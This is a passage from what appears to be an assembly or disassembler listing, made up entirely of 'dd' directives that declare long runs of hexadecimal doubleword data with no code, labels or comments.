0A741C0EBh, 9EBD9CADh, 0E38D6F00h dd 59B515A4h, 6C90B593h, 0FC00ABCCh, 31D8A34h, 0D0562Ch dd 0CD6DE31h, 0FEAECA21h, 5C461CBh, 18AC463Ch, 582C0D38h dd 11AC2449h, 16400A86h, 0C340AC9Bh, 39A043Dh, 0A764ACFEh dd 8EA8A6D1h, 0C9F93D3h, 0D4BB34F0h, 10E88C50h, 28EEE8Ch dd 27912D9Ah, 18C0B8FAh, 0BF067230h, 886A182Ch, 0A5871D99h dd 7909201Bh, 453D7C8h, 20604E24h, 6323DAA3h, 20511AEh dd 0F5A318DBh, 60347C5Bh, 0B2231BA7h, 0F3C8D09h, 49040F43h dd 0C7489092h, 217C98E7h, 0EF88DC13h, 0CE2F0123h, 0D9016E7Ah dd 96218BB7h, 8C4582Bh, 0FD370925h, 0D3A5E002h, 2010DC69h dd 8A620FCh, 0B8FE412Ah, 8C98293Eh, 0F9934A53h, 10AF00F2h dd 0A8E8C5DFh, 1F00816Dh, 8FBCC2F6h, 0EE2F682Ah, 1BC4029Dh dd 50211370h, 40E3E084h, 7B1C0681h, 0B4D0Ah, 70D35000h dd 18C3B27Eh, 15CF85Ch, 0DD36021Dh, 20E25Dh, 0E84398h dd 0CFCEECBCh, 92707BDEh, 847E027Ch, 38E854E7h, 6113FC84h dd 0DC6125D1h, 0FC37F804h, 0CAE58C68h, 1700F75Ch, 0E85D0B76h dd 0BA431D73h, 869F2AB8h, 1358B08Ch, 48F0B3FFh, 0C6C2C06Ch dd 0F873E055h, 916C99B4h, 7C1F267Ch, 0F40EE00h, 58262F9Ah dd 2D18708Bh, 0B23D6811h, 0D039DA0Bh, 60908CA3h, 8DDB27AAh dd 0CF06CCC2h, 0A23F2049h, 0A4B43E3Ch, 6B0404FFh, 0BF225F14h dd 53A46A20h, 0E8E55CA2h, 0F6827316h, 134D0760h, 0DEA7F3FBh dd 47832050h, 0A75D383Eh, 0E80A2479h, 4EE4148h, 207BD1ABh dd 0A90C3054h, 505E1786h, 93E53021h, 338EAA29h, 13188465h dd 0F7DEC42h, 5A0B0367h, 20FCC1CCh, 0BCB428B5h, 660F8C57h dd 20870A98h, 5008A1A6h, 48B60067h, 0FA99A7Ah, 0E70B892Ch dd 97D10509h, 805C915Ch, 0CAFC06AAh, 4FED0280h, 87C8DC81h dd 0ECD47262h, 0DA207D80h, 941DD3E9h, 905D021Ch, 1041ED62h dd 2E0BF4D1h, 5E3488A8h, 800720h, 0B1A3ED76h, 0BEA087E2h dd 62C4819Dh, 4980116Bh, 701A23CAh, 88B5C321h, 6708A8B4h dd 0B2C81699h, 0B91D0080h, 27518684h, 0B172EAh, 14675AA4h dd 2BE3F776h, 21666912h, 2C888412h, 0E501E9AFh, 0DB498316h dd 0C8316881h, 48538590h, 5404C7E6h, 0B467181Ah, 0AAE266F0h dd 4FADD318h, 5A9ED7A8h, 186881DAh, 18407E6Ch, 1D7A054Eh dd 80804EE5h, 2148A858h, 24440950h, 7D8079D4h, 62BA3205h dd 0F0D00563h, 4895E0Bh, 47AA6A15h, 80C8A01Dh, 68AB102h dd 82348752h, 4131B2C0h, 0C1CC1024h, 68914Ah, 0AB8FF058h dd 7300AA51h, 0A61657CBh, 796889DDh, 0DB3B0015h, 0A76AC2CCh dd 517E894h, 70A05EAFh, 0F4C7487Ah, 5EF01610h, 3AFE3CC8h dd 9A846C6Fh, 0A0BCC5FBh, 28CCB2Ch, 52055DBh, 7A19B6D0h dd 55D21E10h, 0AC60470Bh, 967807CBh, 5FDA09B8h, 80C48064h dd 5C02E75Ah, 907009D3h, 7E0F503Ch, 6F1F9C92h, 0A4652311h dd 0EA44D7D4h, 50F8A2DFh, 0D3808A1Ch, 48D2050h, 8B253Fh dd 16CA56E0h, 1D298Ah, 0CFEB9D01h, 0BF79B373h, 0E4397E28h dd 0D53B1E12h, 734FC4C8h, 226C00C9h, 4E5E2188h, 6E8C80Fh dd 7135D000h, 0B5541612h, 0B4505147h, 0C7480A3Eh, 55E0CE94h dd 0B4F0051Ch, 4A512C94h, 9FD455E0h, 0CF9348A5h, 0E39F7Ch dd 9542C01Eh, 0ACA0FB92h, 5E8001FEh, 0FAA0166Bh, 0BF7802F4h dd 0DC035C92h, 7114AA22h, 66508048h, 0A5096F4Ah, 0C4D8D851h dd 8A921E3h, 14742466h, 0C08092BDh, 0C0FF2F26h, 6BE20420h dd 0E4A232E5h, 9E027CCCh, 0CB7110Fh, 7D59005Fh, 5C004E99h dd 0B51FDD9Ch, 5865164Ah, 710E46Dh, 17048DCh, 2664ECF8h dd 0FC51816Fh, 701222DDh, 3A5C50CCh, 8E27101Ch, 45000748h dd 111692E8h, 4A628CAEh, 57DC720h, 0BAC4C2EEh, 0A4E474D4h dd 7AF2A4B2h, 0B832630h, 1D3DC42h, 9E6830A3h, 14D4BEE8h dd 0C108625Ch, 0AE0D4DCCh, 3C78006Ah, 67DB3FB2h, 468E600h dd 26664091h dd 70A9C1A7h, 5B6D2F9h, 308B801Eh, 1B8C818Dh, 90609443h dd 18192E09h, 25D2C000h, 9D46AC35h, 0E4001B22h, 19925CBh dd 2443AF10h, 12D4F265h, 0AB68C19Eh, 0F0420E0h, 6024909Eh dd 66A93501h, 702C985Ch, 98C7CBCh, 0AE870B0Eh, 6B77A4A0h dd 5CBB09B5h, 0C780370h, 14E8896Fh, 0B7006519h, 4A0FE2DEh dd 3A2E51h, 0CFD0D847h, 9687F0DCh, 2D4A09Fh, 0A048C174h dd 0B7F3BD0h, 0A187FE5Ah, 0CD0EE88h, 19F8F879h, 0B1CA480h dd 11A32CABh, 1A474802h, 44631602h, 0BC503D0h, 95735C5Bh dd 0E8985948h, 0A4058C78h, 0DDC9A93h, 8D5464C0h, 951414DDh dd 1F7834E3h, 0B714659h, 14A1996Dh, 62E515C9h, 93EE00C0h dd 0D3CF1D10h, 6090BF20h, 7439DF6Ah, 3B79730Eh, 0DA5EA63Fh dd 881674C8h, 9D7DFBA5h, 0C4AC974Ch, 6605798Bh, 11AC92A2h dd 49D6CCAh, 37808F11h, 75DA9BCEh, 1703B727h, 8B059144h dd 328C00C4h, 1EEC382h, 54015A1Bh, 2D866646h, 52E7D1Ch dd 30264897h, 183D7B84h, 62C261Dh, 8004A9D9h, 1C023A46h dd 0CE63C6A3h, 9E28233h, 0CAA37E00h, 0F91E2633h, 0C06F8EA8h dd 9A6B50A8h, 6CE41D90h, 0B08C6217h, 10740558h, 87181F41h dd 7A2519AAh, 0A0C46D05h, 70926F2Eh, 0E19CE1E4h, 5C09EC6Ch dd 9C4065DBh, 7636BF0Bh, 46C0D851h, 0A31A0250h, 32BE63DCh dd 0D98098F4h, 9F40A312h, 62EA0352h, 4261DBFCh, 4BBE9104h dd 0F8F56C7Fh, 0C40DF6E4h, 81FC9968h, 68AF95B8h, 0C0D48800h dd 6FD26235h, 0EF225446h, 624DA81Fh, 0BAF90585h, 0E24F40E4h dd 9C71D5B1h, 0B500F1BCh, 0E05F4510h, 902917E5h, 9C7954E8h dd 0C2720518h, 0B97019EDh, 0DC160110h, 0EB1EBBBEh, 0B71264F0h dd 0DE687C0Ah, 0A04BCC00h, 5217E9BFh, 0BC41ECAh, 0A44AD751h dd 9000319Ch, 1194ACC1h, 0F54EE8h, 5512C76Ah, 5D62184Ch dd 24D9E488h, 421CE943h, 457462Fh, 50230ECh, 28F842A7h dd 1E5D104h, 0F4F4061Bh, 72914373h, 9C631888h, 490A6E0h dd 4180DB86h, 741FA540h, 40B69420h, 631057E3h, 3C1F49B1h dd 0B0646F16h, 3D24EE00h, 300D4692h, 0A2EC000Fh, 7A231F2Ch dd 8C0067E2h, 66D39E41h, 206B61F8h, 0D70B4311h, 0D207DABEh dd 1971696Ch, 140C34C6h, 314561DCh, 0D4020953h, 0A8901FCDh dd 89C05842h, 6DD0F767h, 0E31300B9h, 0DD1D06BEh, 6C38D71Ch dd 320585C2h, 88202665h, 5EE72170h, 614097B9h, 6804B2F9h dd 7BE20CDCh, 269F69B1h, 0AD8C0AAFh, 0D362E448h, 9034A124h dd 4CE0C264h, 9C000CAh, 0BB6ADA75h, 64BAB6EBh, 98F9820Ah dd 5D04E079h, 0C4CC39C3h, 0E1E01DB3h, 0F3CA80ADh, 551A9ED7h dd 53E48482h, 0D9A31D60h, 11166323h, 15D40006h, 0C7585BA3h dd 669018A5h, 0C4C948EAh, 68D01B0Ah, 3824C870h, 0E82B810Bh dd 805382A4h, 71097E77h, 422DCB4h, 4245AC18h, 20B440EAh dd 3C07F6C9h, 0C53A9507h, 1AE5F939h, 64449C12h, 0E8044A99h dd 1EF6400Fh, 50CD7B5Ah, 36F8C7h, 76A45B78h, 4AE5221Bh dd 25E81A02h, 72D796ABh, 6E3D3CA8h, 107C571Ah, 4B3A9C44h dd 1E2408Bh, 0A8FC879Dh, 0D0920BD4h, 0E92551C5h, 5042914h dd 6C872024h, 0C21F854h, 6216111Ah, 27C5432h, 0DBB45917h dd 0F05A1CEDh, 0EE1220h, 85BE6877h, 0BB216527h, 882838F9h dd 7E168187h, 6073DBA7h, 915AC738h, 0E22B5444h, 0D8881B0Bh dd 241E081Ch, 80BE1C28h, 10A5EF0Ah, 59AE640Dh, 93942441h dd 8A29089h, 184D0C11h, 0DBA3081Fh, 0EC4A663h, 0A317DA40h dd 280FCD77h, 2495523Bh, 658054B3h, 76941DB7h, 0F82D687Bh dd 0A295088Ch, 157B719Eh, 18C4BF96h, 63B820E6h, 9ABE3AB7h dd 3815F11Ah, 7C1A7EC1h, 8C8FE8E4h, 2C9C2F00h, 0B0AD17AAh dd 0F409CF2h, 4A01E9CCh, 82A6CF86h, 0EB116C80h, 169481C8h dd 0E048E65Dh, 3E78B90Ah, 94A5962Dh, 7D90EC70h, 0D3672894h dd 0C5AC36E1h, 908B1A18h, 0FCA625C4h, 0F1CF16D6h, 0A7FF8147h dd 0A47C6452h, 0F4F2806h, 2548A05Ch, 5463FEDAh, 0AA14FFD8h dd 0D360D016h, 60368462h, 0B13C6F1Bh, 4EA9C084h, 4F4CA162h dd 80BB80CCh, 103DBB8h, 118ED0F4h, 351CC797h, 2115F098h dd 90230580h, 0E9E1250h, 0FAF407CBh, 7B03DFAEh, 0E002A762h dd 37C3523h, 10C456B6h, 717BCDBAh, 825B3C24h, 6D0F8CF9h dd 0A47BEB2h, 94A3D411h, 0BB96B946h, 16667024h, 880E7321h dd 51C16FBCh, 569EA085h, 4025C612h, 0ACC354C3h, 2411500Bh dd 811888E3h, 14C7501Bh, 97A0282Dh, 80769134h, 0D85B9311h dd 617717BCh, 246C08AAh, 1820E812h, 13D7C86Ch, 9141697Fh dd 0FCF25FF4h, 843EC28Eh, 0F003FFE6h, 799A186Ah, 9E6780A6h dd 0C51B0592h, 0E0CDDA5Bh, 0C990544h, 40C40196h, 79235C2Eh dd 0AA5ADA00h, 0A38F9386h, 0C052FAB4h, 808467E8h, 0A01787E8h dd 0DCD2E7D1h, 0A319304Fh, 0B663C516h, 1D01438h, 143BA311h dd 34F6F9EEh, 2A3EBE3Ch, 0D9E7926Dh, 0E490B044h, 6F01F842h dd 1AA27C6Bh, 7AD1F451h, 132E1718h, 69086042h, 8D400922h dd 1C19C468h, 772F6A00h, 2870B80h, 0B0049AF1h, 0C15307A0h dd 40108606h, 0F4BB4E12h, 22CE6117h, 0A4169891h, 0AC0E9B00h dd 53E3C90Fh, 205C7268h, 0BD740245h, 0B4D85094h, 9C480033h dd 0F9F7C3AAh, 4BA1B4Ah, 1279A4B9h, 85EC6F18h, 1E790E0Bh dd 1190046Dh, 8410ED12h, 9C94E709h, 0B0E318C1h, 1C48F43Ch dd 38C5EBCh, 119566E0h, 0FBB8F223h, 0DD03C178h, 5140250h dd 5E2DAAFh, 3BD8C07Ah, 4E12BDCEh, 0ACA35EAAh, 87F89A4Bh dd 0B500896Ch, 9583428h, 8A68185Fh, 66201464h, 0E7EF0006h dd 4DC771DDh, 38B012A7h, 561AC520h, 0E048C5Dh, 0E9B97F01h dd 0C8743B44h, 9337107Ch, 834EE33Dh, 41A4999Ch, 531312F1h dd 96D3085h, 0ACE4D2FBh, 6C095CC6h, 0D1427401h, 0F358B180h dd 0D15C1385h, 887015C9h, 63628872h, 0B01C554Bh, 444887C3h dd 95E8E0E9h, 2DDD263Bh, 0C1A20F1Eh, 5C592F62h, 407268E2h dd 0ECC71600h, 0AB073F7Bh, 389501ACh, 64CB56F7h, 0A4C7027h dd 911EF42h, 0DE8C084Bh, 0D6E00E2h, 0B8286A11h, 76F30B01h dd 4D24EEC5h, 219F3830h, 86145EDCh, 0ED72C5BCh, 5006E8C8h dd 588D9802h, 0FDC8F011h, 911017AFh, 59478254h, 2B4DAE5h dd 0A0BD7EAFh, 8C071C3h, 8499149Bh, 88A4F1A5h, 48231EFEh dd 6E0E5691h, 0D19262F9h, 0C63DF60h, 7A1284E2h, 9CECA8D3h dd 0C0946689h, 87798462h, 1E044ADh, 0A1164599h, 5478132Eh dd 5C40882Ch, 0D045D325h, 8D08528h, 28A4410Ch, 82209918h dd 11448604h, 0AB2F0205h, 0C81B3F44h, 5B402450h, 0A07C9Ah dd 0B1C5C82h, 0D36E7764h, 0F07023F5h, 885EDF77h, 2184924Bh dd 3E783CDDh, 0F17A84ECh, 0FC1DED84h, 0B896A96Bh, 4674EC2Ch dd 60BC0078h, 87499115h, 142297A3h, 80803263h, 3793D533h dd 12C2C53Ch, 0B4C00E9Fh, 0C53D1ACAh, 317C57C0h, 2DFE40D4h dd 49AD14C0h, 10EEC8D4h, 1841701Bh, 18A2FC63h, 21A830h dd 9ECAA77Eh, 8E9D80EAh, 0A4B42726h, 0F1E91209h, 320613DCh dd 0A82A1060h, 4180D011h, 746FCE62h, 0E81695h, 0E76239A4h dd 0A18A103Fh, 3CC52A0Bh, 361C02DFh, 10AC5A15h, 51EB5DBh dd 0AA6E970Bh, 2FEDACD2h, 2BDBC3E0h, 0FD1F1CDCh, 180B8870h dd 7B404E2h, 8B22961Dh, 0E307C46Ch, 887CB230h, 17A98718h dd 0D67BE219h, 1FA448ACh dd 0D509A599h, 968C64E0h, 1A04260h, 878B745Ch, 79DC4897h dd 295F604Fh, 0E041E269h, 487EC00h, 0CDCB151Ah, 7E7B77E6h dd 7E2F185Ch, 6C18A162h, 1C1730A4h, 980438ADh, 0D10788D3h dd 232E81D7h, 0F93A0093h, 5F072522h, 0F14F88E7h, 74667580h dd 1400B93Ch, 3215DFCh, 0F40233h, 6D7E6589h, 11585408h dd 70F6A727h, 26DC8E4Ch, 74B80ED5h, 20618FFh, 40343EDAh dd 8C760BAAh, 0F9E7C342h, 1884794Ch, 5DB700C0h, 547038BEh dd 0B7466ACh, 946B1818h, 0A4AB8729h, 0DB6208F8h, 503426Dh dd 10C1ABFh, 0BC70C980h, 3B1EDDAAh, 8123A02Fh, 0CA8DDB00h dd 1CF42CACh, 28BD9E26h, 80A77ADCh, 31C09150h, 493384C1h dd 0B0B090h, 0AFCD930Ch, 96A85E30h, 8E700402h, 5205EA10h dd 53A400ECh, 115DED3Fh, 2CBED03Ah, 1C1D465Eh, 3380F22Dh dd 1344A2DBh, 6FF0C2A1h, 0B07EEF19h, 7102D889h, 36180028h dd 0F1C3205Bh, 0F967EB01h, 938A704Bh, 0E0E5E4h, 33128381h dd 0ACE6625Ch, 97962416h, 96C4840h, 3B42694Eh, 0C0548D8Ah dd 39E407B0h, 0E001A92Ch, 1472377Fh, 0BA66040Eh, 29424C02h dd 1E930019h, 3B07157Bh, 0A0132016h, 0B0AC53D7h, 54E8CAh dd 0B062261Dh, 8B00A411h, 5DD42ACAh, 14E206B9h, 0F82F296Bh dd 2EA83607h, 1449D943h, 93718DEh, 646FC862h, 0A200709Ch dd 0C7A624Fh, 0A928826h, 46CBF017h, 136304A0h, 8756405Fh dd 25D044BEh, 5C450B5Dh, 2C6010C4h, 48009954h, 6E2DD42Eh dd 740DED94h, 0E2410570h, 0B4365963h, 0B240B730h, 19D310A4h dd 0A48B921Ch, 0D5C013C8h, 2EEE3BB8h, 9420C03h, 0D0209ABFh dd 0A580A95Ch, 4E011C14h, 369D04C8h, 0E8AC140Bh, 0EE8C54BCh dd 0A70517B6h, 8AF04076h, 0BFE71BC4h, 0E12E1238h, 6B4D4611h dd 0A8432423h, 0E83318A2h, 0E9CD0Ch, 0DB07ADC8h, 6E17F149h dd 6606997h, 2B6B4D30h, 2FA041BDh, 24029C35h, 5B4A1740h dd 7134A948h, 1E2D18EFh, 0D35B0BC4h, 0C8508BE7h, 3490C081h dd 361D29BEh, 8A405FD9h, 0B78EA8C8h, 344A9F86h, 500905Ah dd 3CC44A9Ah, 5AE555A5h, 87449027h, 4EF04920h, 0B4C21300h dd 3145688h, 0E24CEFh, 5742A24h, 884A2EB3h, 8403D764h dd 5A0B39E8h, 51C815C9h, 7C78985Ch, 5E7318h, 0D5A740F8h dd 0CAE81C39h, 342E87F8h, 0DB0298D3h, 0D0606DD2h, 1674804Ch dd 48F7002Ah, 6870DD58h, 644C9DBBh, 18342234h, 0E1F35E2Ch dd 72F11F8h, 0D08C25ABh, 61E2E8F2h, 0E6D530h, 0C6C0F386h dd 0D32EA109h, 0C4E48B5Ch, 0B8A4E253h, 10414205h, 1A040306h dd 536D09EAh, 1FF264B2h, 487F3E30h, 900B8856h, 20D6C6Fh dd 0B20063F0h, 0DEB3011h, 66955C09h, 797C0222h, 240E0F40h dd 0A70170C2h, 0F4A31C78h, 80EC3DF3h, 869DD0Fh, 9131398h dd 20F44B1Ah, 14ED003Ch, 2EAF18A1h, 753A61BCh, 0CC2A2455h dd 48C67702h, 617C7885h, 6B7148D3h, 9C70A0E7h, 90357920h dd 109E2008h, 5D97E804h, 0F4BC5EB8h, 80ED201Eh, 0D8B1BFDAh dd 8F4E96AAh, 604BD4B0h, 5AD6898Ah, 0EE168031h, 0A8D0420Ch dd 0F9F8D4h, 7627C26Bh, 0A6B037BCh, 6620D10Bh, 0E44CE545h dd 917B6007h, 0AA50096Ch, 6478C38Eh, 18E21CB0h, 9D876822h dd 313BC0C4h, 0C4EB8006h, 0FB1C7B15h, 0E4395C55h, 0AB26ACC2h dd 7B608058h, 0FC1BE3B9h, 1E39012Eh, 0CE95929h, 0B751ADA4h dd 0CDEF0004h, 7A612DB0h, 5BBB702h, 0B5706AFh, 54878C1h dd 0A56A6008h, 1AE00882h, 1053AA03h, 4D0892B8h, 2DB2BC70h dd 6C68413Eh, 5000799h, 329749F8h, 3A137BFh, 307B9885h dd 0D090C567h, 6B1661F6h, 0E4491749h, 280F9AAh, 0CB1ABE63h dd 0E54028DCh, 0E80D6AACh, 7B6B007Dh, 0A49B6F3Ch, 0CA0374BDh dd 0CCC884ECh, 41802624h, 0E91840BCh, 0B67A9242h, 2F86B00h dd 46A950DDh, 0CC3C04C7h, 0A4AC871Ah, 4D1C9A24h, 0C3C16E72h dd 0D052A96Ah, 54F2F432h, 741C7130h, 0B442F9DAh, 0FB94A9B5h dd 23E7078h, 2FFEE700h, 8D2D99C1h, 8F975B8Ch, 0C30D8888h dd 0F09F01FEh, 16F15629h, 63205D04h, 0B68498ABh, 14D04E0h dd 0F6EDA918h, 0CFB2BF0Bh, 0E2381842h, 9BEB300Eh, 11BDB500h dd 9166ABCBh, 871704E8h, 0E8204FA6h, 0DBDCC20Ch, 9F0849BDh dd 0E8409429h, 0BE4988E4h, 84F34E38h, 0AB8EAC78h, 421E1890h dd 3A94277Dh, 8674D882h, 8A047E00h, 0D90A0343h, 87E7F1A0h dd 0B45CB4A2h, 8BBBD042h, 8101D34h, 0F64E305h, 0EC264CCCh dd 0E04F6066h, 0BE2FBDFEh, 0EE6DF901h, 0BB9515A0h, 1062985h dd 0A2B0B043h, 38A199C5h, 44293C8Ch, 14487B1Fh, 3D3B2224h dd 76A62E4Ch, 3929194h, 0FAA0C0C6h, 0E97F80Ah, 4EC00B4h dd 0E22AF8F1h, 2B496563h, 594A07B4h, 0B0B4F96Dh, 2E00D0ECh dd 1AD90842h, 0F72C016Eh, 0F080B0E1h, 315D17E9h, 641495E7h dd 0B8FBA40Eh, 6C7B80EBh, 7C628421h, 0E870051Dh, 0A2979241h dd 35DB085Ch, 0A711024Bh, 590BA4E2h, 180C79C4h, 888F007Dh dd 139B367Eh, 7917BE71h, 40F406EAh, 4342327Dh, 0EC7B13B1h dd 6E3B4001h, 583A9A96h, 0AA7E2958h, 0EA2AFB04h, 0D4A82F18h dd 6380E588h, 2143D59Eh, 8404B688h, 0B5EFFBEh, 3278E1F1h dd 0EE41E051h, 5FDE3980h, 0F1F48AD0h, 0C9972000h, 90087AD7h dd 576E3CD8h, 0AE81AD8Bh, 0AC8468F1h, 0B8B03B2Eh, 0A0849721h dd 5CF216E4h, 0FCCF6304h, 1084B8DBh, 7C4CE777h, 388C0CE8h dd 4F007A2Ah, 5C809B73h, 0C74986AAh, 0D86613ACh, 3D2724B8h dd 61DD1460h, 247A9E58h, 6310B81Fh, 1C704D27h, 71DE2CA1h dd 0ECCC3E34h, 486C761Ah, 0F983001Eh, 0A4E03B6Fh, 0B4BC9DDBh dd 0E8CD709h, 4F15A814h, 9A00ABA8h, 3B789230h, 7CE52953h dd 0CF960594h, 20540279h, 18566418h, 0BEB05D84h, 0F9615E4Fh dd 2BE1F6EAh, 0E985841Dh, 0A8404B8Ah, 23C36877h, 2E48C80Eh dd 0B882B410h, 420105B2h, 0A4685F21h, 4030FEEDh, 4E98096Ch dd 0EC0137EEh, 0E209EA17h, 7EE59611h, 97A80405h, 1174A89Ch dd 344EE69Ah, 0E7D40420h, 74500675h, 59E019B1h, 22CC870h dd 870B2095h, 88A4E17Ah, 7884355Ah, 45B88CF9h, 8A9F0B08h dd 414204E7h, 0A8C885Fh, 0F020B542h, 0CE30F20h, 797A7E77h dd 0D7500980h, 7D133AC8h, 0ECC84FD3h, 6278BCADh, 4F00410Dh dd 7F51AAh, 0A44C80B0h, 657C8DE0h, 0A804975Eh, 0A50223F7h dd 2C741E98h, 59E9A90Bh, 188F7970h, 177D3982h, 52B76D05h dd 0BC84BC22h, 0B80E8C5Bh, 8BB2EB92h, 7044D3A1h, 9715085Eh dd 12B4F74Ah, 0B409D77Eh, 0C4D0C5D0h, 0E9A4605Bh, 838124F5h dd 0FE608D4h, 38EAA04h, 0FC01A0F1h, 103C9EBFh, 6B28E14Fh dd 0E5BE7C21h, 9D6B5E00h, 0AC3C3441h, 8C76BCh, 0D41160C8h dd 0E86BCB0Eh, 7869732Ch, 0E62254A8h, 0BA63165Bh, 50490B58h dd 3A4D5402h, 0D484B45Eh, 34C04379h, 0E3602Dh, 0B029FDCFh dd 1F2A492Eh, 3F67EB01h, 0CCF8BF11h, 0F6685C40h, 0ABE101F4h dd 0B39EE456h, 4CAC336Ch, 0D6F001D4h, 0B4F32165h, 0A858942Bh dd 594076C8h, 8C73525Ch, 47AF1103h, 0E8E1EA9Dh, 0F0108492h dd 9F4FECA5h, 0ECE97604h, 835CC1D0h, 0F1862F45h, 59EA0ABFh dd 136D8B18h, 4865B318h, 0B2DFC5Bh, 63800CB5h, 0CE0A64DAh dd 0D0F1267Bh, 52475E58h, 0BD02563Eh, 42817B94h, 5F448854h dd 30EFC34Eh, 2284B960h, 7F418B5Eh, 0FA2D2C7Ch, 39DB6448h dd 283F1F41h, 1A44F8E4h dd 0B438F957h, 0F1B08A1h, 0C2C01A88h, 0FE4AE2A6h, 302F00BAh dd 0CB4E931Bh, 2E12A264h, 34A8869Fh, 5C0FE8C8h, 17111E91h dd 29DC1A05h, 45600433h, 180C21A9h, 9C17A1A5h, 42891191h dd 0B408E48Fh, 0D0B21512h, 1AA5D400h, 8EA903FDh, 165C6D1Ch dd 9E5B5540h, 0A83B48h, 8DBB9496h, 83117010h, 0D8F0035Ah dd 0AED3205Eh, 5BFE6E48h, 330F8480h, 3B424FA6h, 5C239Ch dd 0E08BFB23h, 0CB0B99D7h, 79AE1E5Eh, 0C2C58B98h, 0FFF8B003h dd 9B864A80h, 0C85F64BAh, 2F71C420h, 3D700ACh, 823EDC2Ch dd 0FC1E79CAh, 3D8296EFh, 554FC0D5h, 7EC8CC20h, 51028B11h dd 23551FBDh, 0E010D5DAh, 24580B9Ah, 20445B00h, 0A400FE5h dd 6B3AB5B9h, 71EF0303h, 0EF202D3Dh, 424ADCB0h, 9F84123Fh dd 0DD20215Fh, 5C6B3EBCh, 793BA700h, 0F556D0B6h, 0CA0F417Fh dd 0F40B210Fh, 2CA35AC8h, 0D9D81201h, 6AB87219h, 0BC78F4CDh dd 398C57BCh, 7CF4DDh, 2BAEDB1Dh, 57010531h, 49791261h dd 8F30847Dh, 901895FFh, 61207C02h, 3A664E4Bh, 0E2437024h dd 0FB018505h, 8820AF2Dh, 0FE835AD7h, 57C500BBh, 5C5144B9h dd 0C116C7CFh, 24E071E0h, 0B3B801Dh, 0D06DE802h, 0F64F9622h dd 84242F84h, 25CE6014h, 0BDAC2141h, 25C7E0C0h, 0DCE109F3h dd 0C5E610Ah, 19519118h, 0F80997B7h, 0C63F201Dh, 7700043Fh dd 35360CB0h, 0A904201Fh, 0EF93949h, 1DF8D8A8h, 72BF008Ch dd 0A8BD4F65h, 48966726h, 33A34007h, 44B19382h, 0FBF10E0h dd 459A015Fh, 34DC996Ah, 6D215031h, 5444D86Eh, 9000A570h dd 0EFD3B610h, 434748Eh, 6DDD61B2h, 0BC80FD17h, 0EF690271h dd 0AB096FD4h, 5879286Ah, 0F8191079h, 66321841h, 0F2E86177h dd 7BD7004Ch, 3EB8FD54h, 380508B4h, 8BE263CCh, 0EA0441BEh dd 303031AFh, 0D9041F3Dh, 23D865CDh, 222100C1h, 0B868ED05h dd 0F5A0075h, 0A9BD6D2Ch, 119F7A45h, 2C3C51FCh, 3B19B78Ch dd 1B587BFAh, 0C13D3050h, 4A5F5EACh, 20949177h, 84022FD7h dd 57A8B86h, 0A041AA0Ch, 40A9063h, 0A604882Fh, 0B649D3Ah dd 0FAC71CAAh, 0E100228h, 60C47033h, 43EDA4C0h, 9C241880h dd 0A9574218h, 50955002h, 707CBB84h, 9712266Eh, 0E8F836A3h dd 4AEF2EC3h, 0DDC5600Bh, 0E50E8280h, 0F15CD97Fh, 249181Fh dd 1BC16C51h, 0E480F73Ah, 58641821h, 6A2A09FDh, 92A700D8h dd 0A2D277A9h, 79611326h, 58B280h, 3C4837A4h, 2C71D1h dd 0E3A2B894h, 0BC4419Bh, 7B5E5A05h, 9BEED5Dh, 0D47AEFB4h dd 8054B5BDh, 61A3A5Ch, 1404DC8Ah, 826F96Eh, 0EC941605h dd 0E980C790h, 9F4E8A9h, 0D8608A07h, 970A3161h, 0C045D32Eh dd 423248A8h, 0F2504104h, 39920294h, 8E64FE7Ah, 16895840h dd 1458962Bh, 37CB2900h, 7DB9D3F7h, 7521C042h, 6870DCD9h dd 5C04B612h, 2D05B4C8h, 0B4E072AFh, 8492F994h, 48C3A544h dd 0CC80F0E5h, 0D9265882h, 0AFAEED01h, 34EB7732h, 0F29239C4h dd 5CDB0066h, 0C75ABE87h, 0D625B0A5h, 18D4AC56h, 0C597054Fh dd 0EEB6F4A3h, 105A6C08h, 0E0A62FD0h, 5B23A3E4h, 5400E0BDh dd 227898D1h, 54179F80h, 0F8805B91h, 3850811Ah, 6EF96F13h dd 6116F0C1h, 0B4581469h, 172710h, 0E09F5D0Fh, 4F317275h dd 3940089Dh, 0CC59A5h, 434EB2C9h, 4B07AC45h, 1796AADAh dd 24188838h, 762CD480h, 120D8AFEh, 82CFE51Eh, 88C50B8Ch dd 80651AE4h, 0F80D7772h, 1E02BBE8h, 7BAA450Bh, 2CCCD681h dd 8F2300D4h, 0B796A924h, 26379940h, 83483D7h, 0E5083245h dd 0C23C8313h, 1A015CFh, 0A700D2DEh, 0BF90BC37h, 939FA2Dh dd 7AC32EA2h, 16A0A848h, 0BD6C1888h, 0E274D066h, 954FC980h dd 81463820h, 3F00134Dh, 2383F45Ch, 1CBE69Dh, 7C86EA47h dd 7A022B71h, 9042100Bh, 1CBEA184h, 18A076h, 0EC8255C1h dd 0A20052B1h, 8E427C11h, 0B4A69DDh, 50EE86D2h, 0CB3914D9h dd 3E6840C0h, 0E6B500DCh, 0BA6DC4D3h, 8F95AA14h, 541A2970h dd 3E1C0078h, 0F9707524h, 0EC0D662Eh, 0B219E353h, 0B42BFDFEh dd 459EB4F1h, 38C463C4h, 0A59DD00h, 3F2F1480h, 249C6842h dd 28C37DE0h, 70CC92D6h, 0FC9E03DDh, 0E8AF886Fh, 6EA09EDFh dd 241FBA02h, 5ECCBD48h, 6A2BA8CDh, 0F5DC146Ch, 86A90B81h dd 682020CFh, 0B581BBBh, 0BCDD8815h, 0D713059h, 9C006C18h dd 0D7EC35A9h, 0EB0A78Dh, 0DD2ADA33h, 5C2165A1h, 0C226AD8h dd 0F454294Dh, 0E8095D10h, 54293173h, 7B11649Dh, 51A6380h dd 143C875Dh, 82D85DA1h, 0F08F86AAh, 39DED8A0h, 0FC0EE6C8h dd 60A4C66Bh, 7B0F6D6Eh, 59970135h, 0A2988277h, 0C822EF1h dd 44BCE42Eh, 0DC04FFE4h, 669AEFE7h, 0C06028BFh, 0CEA88586h dd 2760E208h, 0C78A63h, 1B952014h, 59AF4DCEh, 34804090h dd 0EB5F01E8h, 1ABDAC81h, 803061A9h, 0DF2F9E0Dh, 21002C6Ah dd 0ACC2FBB8h, 0B561B7Dh, 5DDD43D7h, 16B6E048h, 8B087091h dd 5893E63h, 0DCC0D697h, 0AC9439D3h, 42184F25h, 0FC7949BEh dd 4018D8AFh, 1554425Bh, 0AC88C248h, 7AEB208Eh, 0E44F1A28h dd 21809B73h, 4FA67EE3h, 0F22C2108h, 5C160118h, 6ED0407Bh dd 9F8EAAB6h, 